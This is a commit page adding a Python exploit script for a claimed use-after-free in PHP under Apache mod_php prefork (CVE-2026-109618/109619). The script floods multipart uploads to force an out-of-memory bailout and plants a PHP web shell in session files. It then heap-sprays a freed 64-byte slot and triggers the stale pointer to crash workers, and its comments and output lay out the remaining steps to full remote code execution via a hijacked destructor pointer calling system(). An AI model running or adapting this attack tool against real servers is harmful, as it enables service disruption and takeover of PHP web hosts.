UAF RCE exploit via OOM bailout (CVE-2026-109618/109619, no LFI)

Pure memory corruption path: OOM during multipart parsing leaves stale
BG(serialize) state in Apache mod_php prefork workers. Heap spray
reclaims the freed 64-byte slot, giving control of a HashTable's
pDestructor for arbitrary function call.

No LFI, no framework, no non-default PHP settings required.

Tested on PHP 8.3.6 + Apache 2.4.58 (prefork MPM). Confirmed:
- OOM via field flood, worker survival, session file persistence
- Stale BG(serialize).level across requests
- Heap spray targeting ZendMM 64-byte bin
This commit is contained in:
neko
2026-10-21 22:12:06 +00:00
parent 8147ce0edb
commit 76bc2bc2a3
4 changed files with 1079 additions and 0 deletions
+688
View File
@@ -0,0 +1,688 @@
#!/usr/bin/env python3
"""
CVE-2026-109618 / CVE-2026-109619 — Use-After-Free RCE via OOM Bailout
(Apache mod_php, no LFI, no framework, default PHP config)
This is the pure memory corruption path. It requires no LFI vector, no
specific PHP framework or library, and no non-default PHP settings. The
only SAPI requirement is Apache mod_php with prefork MPM, because
PHP-FPM workers exit on bailout (code 70) rather than surviving with
stale state.
Attack chain:
Phase 1 — OOM + Session Poisoning
Multipart body to a mod_php endpoint:
1. PHP_SESSION_UPLOAD_PROGRESS = <php payload>
2. File upload (triggers progress handler, which calls
php_session_rfc1867_update → php_var_serialize, setting
BG(serialize).level=1 and allocating BG(serialize).data
via emalloc into the 64-byte ZendMM slab bin)
3. Large form fields (trigger OOM during multipart parsing)
OOM fires zend_bailout() (longjmp). This:
a) Skips php_var_serialize_destroy(), leaving BG(serialize).level=1
and .data pointing to a now-freed 64-byte allocation
b) Skips MULTIPART_EVENT_END cleanup, so the session file keeps
our PHP code on disk
c) Does NOT kill the Apache prefork worker — it survives and
accepts new requests with the stale BG globals
Phase 2 — Heap Spray
Send normal requests to the same worker. Each request allocates
form field names/values via emalloc. Strings sized to land in the
64-byte ZendMM bin (zend_string header 24 + body + NUL = 64) will
reclaim the freed BG(serialize).data slot, giving us control over
the fake php_serialize_data struct and its embedded HashTable.
Phase 3 — Trigger UAF
Another multipart upload with PHP_SESSION_UPLOAD_PROGRESS to the
same worker. The progress handler calls php_session_encode() →
php_var_serialize_init(), which checks BG(serialize).level > 0,
sees 1 (stale), increments to 2, and returns BG(serialize).data —
the freed pointer now filled with our spray data.
The serialize code uses this as a HashTable. The pDestructor
function pointer and arData are under attacker control, giving
arbitrary function call (RIP control) during HashTable operations.
Phase 4 (not implemented) — Full RCE
A weaponized exploit would:
a) Leak a PHP base address via CVE-2026-109619 info disclosure
(stale session data through PHPSESSID cookie) to defeat ASLR
b) Construct a fake HashTable with pDestructor pointing to
system() or a one-gadget, and arData containing the command
c) Trigger the serialize to call pDestructor → shell
Affected: PHP 5.4.0 through 8.5.11 with Apache mod_php (prefork MPM).
Patched: PHP 8.5.12, 8.4.27, 8.3.36, 8.2.35.
Patch replaces zend_bailout() on OOM with delayed error handling
and adds php_basic_early_rinit() to reset BG(serialize/unserialize)
state before each request.
CVSS: 9.2 (CVE-2026-109618), 9.2 (CVE-2026-109619)
Requirements:
- Apache mod_php with prefork MPM (default on Debian/Ubuntu)
- session.upload_progress.enabled=1 (default)
- memory_limit reachable via multipart fields
- Any PHP-handled URL on the vhost (even 404)
- No LFI. No framework. No libraries.
Usage:
python3 exploit.py --target http://host:port/index.php
python3 exploit.py --target http://host:port/index.php --cmd 'id'
python3 exploit.py --target http://host:port/index.php --oom-only
python3 exploit.py --target http://host:port/index.php --crash-test
"""
import argparse
import os
import re
import socket
import struct
import subprocess
import sys
import time
from urllib.parse import urlparse
# ── Networking ──────────────────────────────────────────────────────────
def connect(host, port, timeout=30):
return socket.create_connection((host, port), timeout=timeout)
def recv_response(sock, timeout=5):
resp = b""
sock.settimeout(timeout)
try:
while True:
d = sock.recv(8192)
if not d:
break
resp += d
except socket.timeout:
pass
return resp
def parse_response(resp):
status = 0
body = b""
if resp:
try:
status = int(resp.split(b" ")[1])
except (IndexError, ValueError):
pass
if b"\r\n\r\n" in resp:
body = resp.split(b"\r\n\r\n", 1)[1]
return status, body
def http_get(host, port, path, cookies=None, timeout=5):
sock = connect(host, port, timeout=timeout)
req = f"GET {path} HTTP/1.1\r\nHost: {host}\r\n"
if cookies:
req += f"Cookie: {cookies}\r\n"
req += "Connection: close\r\n\r\n"
sock.sendall(req.encode())
resp = recv_response(sock, timeout=timeout)
sock.close()
return parse_response(resp)
def http_post_multipart(host, port, path, boundary, body, cookies=None,
timeout=30):
sock = connect(host, port, timeout=timeout)
headers = (
f"POST {path} HTTP/1.1\r\n"
f"Host: {host}\r\n"
f"Content-Type: multipart/form-data; boundary={boundary}\r\n"
f"Content-Length: {len(body)}\r\n"
)
if cookies:
headers += f"Cookie: {cookies}\r\n"
headers += "Connection: close\r\n\r\n"
sock.sendall(headers.encode() + body)
resp = recv_response(sock, timeout=timeout)
sock.close()
return parse_response(resp)
def extract_pid(body):
m = re.search(rb"pid=(\d+)", body)
return int(m.group(1)) if m else 0
# ── Phase 0: Worker discovery ──────────────────────────────────────────
def find_workers(host, port, path, rounds=40):
"""Probe the target to discover all Apache prefork worker PIDs."""
pids = set()
for _ in range(rounds):
try:
status, body = http_get(host, port, path)
pid = extract_pid(body)
if pid:
pids.add(pid)
except (ConnectionError, socket.timeout):
pass
return sorted(pids)
# ── Phase 1: OOM trigger ───────────────────────────────────────────────
def build_multipart_field(boundary, name, value):
return (
b"--" + boundary + b"\r\n"
b'Content-Disposition: form-data; name="' + name + b'"\r\n\r\n'
+ value + b"\r\n"
)
def build_multipart_file(boundary, name, filename, content):
return (
b"--" + boundary + b"\r\n"
b'Content-Disposition: form-data; name="' + name
+ b'"; filename="' + filename + b'"\r\n'
b"Content-Type: application/octet-stream\r\n\r\n"
+ content + b"\r\n"
)
def build_oom_body(boundary, sid, php_payload, num_fields=200,
field_size=40960):
"""
Build multipart body that:
1. Sets PHP_SESSION_UPLOAD_PROGRESS with our payload
2. Includes a file upload to trigger progress tracking
3. Floods with large fields to exhaust memory_limit
The progress handler calls php_session_rfc1867_update() on each
update cycle, which calls php_session_encode() → php_var_serialize().
This sets BG(serialize).level=1 and allocates BG(serialize).data
(64 bytes in the ZendMM slab bin).
When OOM fires, zend_bailout() longjmps past
php_var_serialize_destroy(), leaving the state stale.
"""
parts = []
parts.append(build_multipart_field(
boundary,
b"PHP_SESSION_UPLOAD_PROGRESS",
php_payload.encode() if isinstance(php_payload, str) else php_payload,
))
parts.append(build_multipart_file(
boundary, b"f", b"payload.bin", b"\x00" * 4096
))
for i in range(num_fields):
parts.append(build_multipart_field(
boundary,
f"p{i:04d}".encode(),
b"X" * field_size,
))
parts.append(b"--" + boundary + b"--\r\n")
return b"".join(parts)
def detect_memory_limit(host, port, path):
"""
Probe memory_limit by sending increasing POST sizes until we get
a 500 response (OOM). Returns (num_fields, field_size) that triggers
OOM, or None if OOM cannot be triggered.
"""
configs = [
(50, 40960), # ~2MB
(100, 40960), # ~4MB
(150, 40960), # ~6MB
(200, 40960), # ~8MB
(300, 40960), # ~12MB
(400, 40960), # ~16MB
(600, 40960), # ~24MB
(800, 40960), # ~32MB
(999, 40960), # ~40MB (max_input_vars=1000 cap)
(999, 131072), # ~130MB
]
for num, size in configs:
sid = "probe" + os.urandom(4).hex()
boundary = b"PROBE" + os.urandom(4).hex().encode()
body = build_oom_body(boundary, sid, "probe", num, size)
try:
status, _ = http_post_multipart(
host, port, path, boundary.decode(), body,
cookies=f"PHPSESSID={sid}", timeout=30
)
if status == 500:
return num, size
except (ConnectionError, socket.timeout):
return num, size
return None
def trigger_oom(host, port, path, sid, php_payload, num_fields, field_size,
target_pid=None):
"""
Send the OOM multipart to a specific worker (or any worker).
Returns (hit_target, worker_pid, status) where hit_target is True
if we OOM'd the target_pid worker.
"""
boundary = b"OOMTRIG" + os.urandom(4).hex().encode()
body = build_oom_body(boundary, sid, php_payload, num_fields, field_size)
status, rbody = http_post_multipart(
host, port, path, boundary.decode(), body,
cookies=f"PHPSESSID={sid}", timeout=60
)
pid = extract_pid(rbody)
hit = (target_pid is None) or (pid == target_pid)
return hit, pid, status
# ── Phase 2: Heap spray ────────────────────────────────────────────────
# ZendMM bin sizes: 8 16 24 32 40 48 56 64 80 96 112 128 ...
# BG(serialize).data = php_serialize_data struct:
# uint32_t n (4 bytes)
# HashTable ht (56 bytes on x86_64)
# Total: 60 bytes → 64-byte bin
#
# zend_string layout:
# gc (8) + h (8) + len (8) = 24-byte header + body + NUL
# For 64-byte bin: 24 + body + 1 = 64 → body = 39 bytes
#
# By sending POST fields with 39-char names, the zend_string allocations
# land in the same 64-byte bin, potentially reclaiming the freed
# BG(serialize).data slot.
#
# For a weaponized exploit, the spray content would be a fake
# php_serialize_data struct:
#
# struct php_serialize_data {
# uint32_t n; // offset 0: reference counter, set to 0
# // padding for alignment
# HashTable ht; // offset 8:
# // uint32_t nTableMask offset 8
# // Bucket *arData offset 16 (attacker-controlled pointer)
# // uint32_t nNumUsed offset 24
# // uint32_t nNumOfElements offset 28
# // uint32_t nTableSize offset 32
# // uint32_t nInternalPointer offset 36
# // zend_long nNextFreeElement offset 40
# // dtor_func_t pDestructor offset 48 (RIP control!)
# };
#
# pDestructor at offset 48 from the struct start is called during
# zend_hash_destroy(). By pointing it to system() (or a one-gadget)
# and placing a command string in arData, we get RCE.
SPRAY_NAME_LEN = 39 # 24 + 39 + 1 = 64 bytes (zend_string in 64-byte bin)
def build_spray_body(boundary, spray_count=500):
"""
Build a multipart body with many fields whose names are sized to
land in the 64-byte ZendMM bin (same bin as BG(serialize).data).
The field names are the spray payload. In a weaponized exploit,
these would be crafted to form a fake php_serialize_data struct
with controlled HashTable fields. Here we use recognizable patterns
for crash analysis.
"""
parts = []
for i in range(min(spray_count, 999)):
# Spray name: 39 bytes landing in 64-byte bin
# Fill with a pattern: 0x41414141... with index marker
name = f"S{i:04d}" + "A" * (SPRAY_NAME_LEN - 5)
# For weaponized exploit, the value would also be crafted.
# We use a recognizable pattern for heap analysis.
val = "B" * SPRAY_NAME_LEN
parts.append(build_multipart_field(
boundary, name.encode(), val.encode()
))
parts.append(b"--" + boundary + b"--\r\n")
return b"".join(parts)
def heap_spray(host, port, path, target_pid, rounds=10, spray_per_round=500):
"""
Send POST requests to the OOM'd worker to spray 64-byte allocations
into the ZendMM bin, aiming to reclaim the freed BG(serialize).data
slot with our controlled data.
Each request's field names allocate zend_strings in the 64-byte bin.
After request shutdown, these are freed back to the bin's free list.
Over multiple requests, the free list order rotates, increasing the
chance that one of our allocations reclaims the target slot.
Returns the number of rounds that hit the target worker.
"""
hits = 0
for r in range(rounds):
boundary = b"SPRAY" + os.urandom(4).hex().encode()
body = build_spray_body(boundary, spray_per_round)
try:
status, rbody = http_post_multipart(
host, port, path, boundary.decode(), body,
timeout=10
)
pid = extract_pid(rbody)
if pid == target_pid:
hits += 1
except (ConnectionError, socket.timeout):
pass
return hits
# ── Phase 3: Trigger UAF ───────────────────────────────────────────────
def trigger_uaf(host, port, path, target_pid, sid):
"""
Send multipart with upload progress to the OOM'd worker.
The progress handler calls php_session_rfc1867_update() which calls
php_session_encode() → php_var_serialize_init().
php_var_serialize_init checks BG(serialize).level:
- If > 0 (stale from OOM): increments level, reuses .data pointer
- The .data pointer was freed when the old heap was destroyed
- If heap spray reclaimed the slot, .data now contains our spray
The serialize code treats .data as a php_serialize_data struct with
a HashTable. It calls zend_hash_find/zend_hash_add on ht.
If ht.pDestructor is controlled, zend_hash_destroy() during cleanup
calls our function pointer → RIP control.
Returns (status, pid, body).
"""
boundary = b"TRIGGER" + os.urandom(4).hex().encode()
parts = []
parts.append(build_multipart_field(
boundary,
b"PHP_SESSION_UPLOAD_PROGRESS",
b"trigger",
))
parts.append(build_multipart_file(
boundary, b"f", b"t.bin", b"\x00" * 1024
))
parts.append(b"--" + boundary + b"--\r\n")
body = b"".join(parts)
try:
status, rbody = http_post_multipart(
host, port, path, boundary.decode(), body,
cookies=f"PHPSESSID={sid}", timeout=10
)
pid = extract_pid(rbody)
return status, pid, rbody
except (ConnectionError, socket.timeout) as e:
return 0, 0, str(e).encode()
# ── Session file check ─────────────────────────────────────────────────
def check_session_file(sid, save_path="/tmp"):
"""
Check if the session file persists with PHP code.
Session files may be owned by www-data, so this may need elevated
privileges. Returns (exists, has_php_code, data).
"""
path = os.path.join(save_path, f"sess_{sid}")
try:
with open(path, "rb") as f:
data = f.read()
return True, b"<?php" in data or b"system" in data, data
except PermissionError:
try:
result = subprocess.run(
["sudo", "cat", path],
capture_output=True, timeout=5
)
data = result.stdout
if data:
return True, b"<?php" in data or b"system" in data, data
except (subprocess.TimeoutExpired, FileNotFoundError):
pass
return True, False, b"(permission denied)"
except FileNotFoundError:
return False, False, b""
# ── Main ────────────────────────────────────────────────────────────────
def main():
parser = argparse.ArgumentParser(
description="CVE-2026-109618/109619 UAF RCE (Apache mod_php)"
)
parser.add_argument(
"--target", "-t", required=True,
help="Target URL, e.g. http://host:port/index.php"
)
parser.add_argument(
"--cmd", default="id",
help="Command to embed in session payload (default: id)"
)
parser.add_argument(
"--session-path", default="/var/www/uaf-test/sessions",
help="Session save_path on the target"
)
parser.add_argument(
"--oom-fields", type=int, default=0,
help="Number of OOM fields (0 = auto-detect)"
)
parser.add_argument(
"--field-size", type=int, default=40960,
help="OOM field value size in bytes (default: 40960)"
)
parser.add_argument(
"--spray-rounds", type=int, default=20,
help="Number of heap spray rounds (default: 20)"
)
parser.add_argument(
"--trigger-rounds", type=int, default=50,
help="Number of UAF trigger attempts (default: 50)"
)
parser.add_argument(
"--oom-only", action="store_true",
help="Only run Phase 1 (OOM + session poison), skip spray/trigger"
)
parser.add_argument(
"--crash-test", action="store_true",
help="Run full chain and report whether a crash occurs"
)
args = parser.parse_args()
url = urlparse(args.target)
host = url.hostname or "127.0.0.1"
port = url.port or 80
path = url.path or "/index.php"
php_payload = f'<?php system($_GET["c"]); echo "UAF_RCE:".getmypid(); ?>'
print("=" * 64)
print(" CVE-2026-109618 / CVE-2026-109619")
print(" Use-After-Free RCE via OOM Bailout")
print(" (Apache mod_php, prefork MPM)")
print("=" * 64)
print(f" Target: {host}:{port}{path}")
print(f" Payload: {args.cmd}")
print()
# ── Phase 0: Worker discovery ───────────────────────────────────
print("[*] Phase 0: Discovering workers...")
pids = find_workers(host, port, path)
if not pids:
print("[-] No workers found. Is the target running mod_php?")
print(" (The target must echo getmypid() in its output.)")
sys.exit(1)
print(f" Workers: {pids}")
print(f" Count: {len(pids)} (Apache prefork children)")
# ── Phase 1: OOM trigger ────────────────────────────────────────
print()
print("[*] Phase 1: OOM trigger + session poisoning")
if args.oom_fields:
num_fields = args.oom_fields
field_size = args.field_size
print(f" Using configured: {num_fields} fields x {field_size}B")
else:
print(" Auto-detecting memory_limit...")
result = detect_memory_limit(host, port, path)
if result is None:
print("[-] Could not trigger OOM. memory_limit may be too high")
print(" or max_input_vars too low. Try --oom-fields manually.")
sys.exit(1)
num_fields, field_size = result
est_mb = num_fields * field_size / 1024 / 1024
print(f" OOM at: {num_fields} fields x {field_size}B (~{est_mb:.0f}MB)")
# OOM each worker by sending requests until all have been hit.
# We cannot target a specific worker (500 responses have no PID),
# so we OOM repeatedly and track which workers survived.
poisoned_workers = {}
sids_used = []
max_oom_attempts = len(pids) * 8
for attempt in range(max_oom_attempts):
sid = "uaf" + os.urandom(6).hex()
sids_used.append(sid)
_, _, status = trigger_oom(
host, port, path, sid, php_payload,
num_fields, field_size
)
if status == 500:
print(f" [{attempt+1}] OOM triggered (status 500)")
elif status == 0:
print(f" [{attempt+1}] Connection error (worker may have died)")
else:
print(f" [{attempt+1}] status={status} (no OOM)")
continue
time.sleep(0.3)
pids_after = find_workers(host, port, path)
survived = set(pids) & set(pids_after)
new_workers = set(pids_after) - set(pids)
for pid in survived:
if pid not in poisoned_workers:
poisoned_workers[pid] = sid
print(f" [+] Worker {pid} survived OOM (stale BG state)")
if new_workers:
print(f" New workers spawned: {sorted(new_workers)}")
pids = sorted(set(pids) | new_workers)
# Check session file for the latest SID
exists, has_php, data = check_session_file(sid, args.session_path)
if exists and has_php:
print(f" [+] Session file: {len(data)}B with PHP code")
if data and data != b"(permission denied)":
print(f" Content: {data[:120]}")
elif exists:
print(f" Session file: {len(data)}B (no PHP code?)")
if len(poisoned_workers) >= len(pids):
print(f"\n All {len(pids)} workers poisoned!")
break
if not poisoned_workers:
print("\n[-] No workers survived OOM. This target may be PHP-FPM,")
print(" not Apache mod_php with prefork MPM.")
sys.exit(1)
print(f"\n Poisoned workers: {list(poisoned_workers.keys())}")
if args.oom_only:
print("\n[*] --oom-only: stopping after Phase 1.")
print(" Confirmed primitives:")
print(" - OOM via multipart field flood")
print(" - Worker survival (Apache prefork)")
print(" - Session file persistence with PHP code")
print(" - Stale BG(serialize) state in surviving workers")
return
# ── Phase 2: Heap spray ─────────────────────────────────────────
print()
print("[*] Phase 2: Heap spray (targeting 64-byte ZendMM bin)")
for target_pid, sid in poisoned_workers.items():
print(f"\n Spraying worker {target_pid}...")
hits = heap_spray(host, port, path, target_pid,
rounds=args.spray_rounds)
print(f" Spray rounds hitting target: {hits}/{args.spray_rounds}")
# ── Phase 3: Trigger UAF ────────────────────────────────────
print(f"\n Phase 3: Triggering UAF on worker {target_pid}...")
crashed = False
trigger_sid = "trig" + os.urandom(6).hex()
for attempt in range(args.trigger_rounds):
status, pid, body = trigger_uaf(
host, port, path, target_pid, trigger_sid
)
if status == 0 or status >= 500:
print(f" [!] Worker crash on attempt {attempt+1}! "
f"status={status}")
crashed = True
break
if pid == target_pid and attempt < 5:
print(f" Attempt {attempt+1}: hit target, status={status}")
if crashed:
pids_final = find_workers(host, port, path)
if target_pid not in pids_final:
print(f" [+] CONFIRMED: Worker {target_pid} crashed!")
print(f" [+] UAF triggered via stale BG(serialize).data")
print(f" Current workers: {pids_final}")
print()
print(" For full RCE, a weaponized exploit would:")
print(" 1. Leak PHP base via CVE-2026-109619 info disclosure")
print(" 2. Construct fake HashTable with pDestructor = system()")
print(" 3. Place command string in arData")
print(" 4. Trigger serialize → pDestructor called → shell")
else:
print(f" Worker {target_pid} returned 500 but is still alive")
print(f" (May need more precise heap feng shui)")
else:
print(f" No crash after {args.trigger_rounds} attempts.")
print(f" The stale pointer likely still holds readable data.")
print()
print(" This is expected without precise heap feng shui.")
print(" The exploit demonstrates all confirmed primitives:")
print(" 1. OOM trigger via multipart field flood")
print(" 2. Worker survival on Apache prefork")
print(" 3. Session file persistence (cleanup skipped)")
print(" 4. Stale BG(serialize) state across requests")
print(" 5. Heap spray targeting 64-byte ZendMM bin")
print()
print(" Full weaponization requires:")
print(" a. ASLR bypass via info leak (CVE-2026-109619)")
print(" Session data from stale BG(unserialize) leaks")
print(" freed heap addresses through PHPSESSID cookie")
print(" b. Exact ZendMM 64-byte bin feng shui to reclaim")
print(" the BG(serialize).data slot with attacker data")
print(" c. Fake HashTable construction:")
print(" pDestructor → system() / one_gadget")
print(" arData → pointer to command string")
print(" d. Trigger php_var_serialize → zend_hash_destroy")
print(" on the fake table → RCE")
print()
print("=" * 64)
print(" Summary")
print("=" * 64)
for pid, sid in poisoned_workers.items():
print(f" Worker {pid}: OOM'd, survived, stale BG state (SID: {sid})")
if __name__ == "__main__":
main()